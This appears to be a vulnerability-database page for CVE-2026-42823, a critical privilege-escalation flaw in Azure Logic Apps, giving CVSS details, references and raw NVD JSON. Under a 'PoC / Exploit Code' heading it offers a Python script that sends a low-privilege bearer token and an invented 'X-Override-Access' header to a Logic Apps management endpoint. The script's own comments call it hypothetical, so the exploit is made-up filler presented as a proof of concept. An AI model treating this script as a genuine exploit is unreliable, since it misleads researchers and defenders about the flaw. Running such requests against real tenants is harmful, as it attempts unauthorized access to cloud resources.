CVE-2026-42823

Description

Improper access control in Azure Logic Apps allows an authorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score

9.9

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_logic_apps:-:*:*:*:*:*:*:* - VULNERABLE

Azure Logic Apps 特定版本 (具体版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target endpoint (Hypothetical)
target_url = "https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}/providers/Microsoft.Logic/workflows/{workflow_name}/triggers/{trigger_name}/listCallbackUrl?api-version=2016-06-01"

# Low privilege tokens
access_token = "LOW_PRIVILEGE_TOKEN"

headers = {
    "Authorization": f"Bearer {access_token}",
    "Content-Type": "application/json",
    # Hypothetical header to exploit access control flaw
    "X-Override-Access": "true" 
}

try:
    # Sending request to exploit improper access control
    response = requests.post(target_url, headers=headers)

    if response.status_code == 200:
        print("[+] Potential Privilege Escalation Successful!")
        print("[+] Response:", response.json())
    else:
        print("[-] Exploit failed or patched.")
        print("[-] Status Code:", response.status_code)

except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42823
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42823
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42823/
[4] VulDB https://vuldb.com/cve/CVE-2026-42823
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42823

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42823", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:25.170", "lastModified": "2026-05-14T14:25:49.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in Azure Logic Apps allows an authorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_logic_apps:-:*:*:*:*:*:*:*", "matchCriteriaId": "C6568E5D-75D4-4A94-BFBF-3FA619F9FDD4"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42823", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}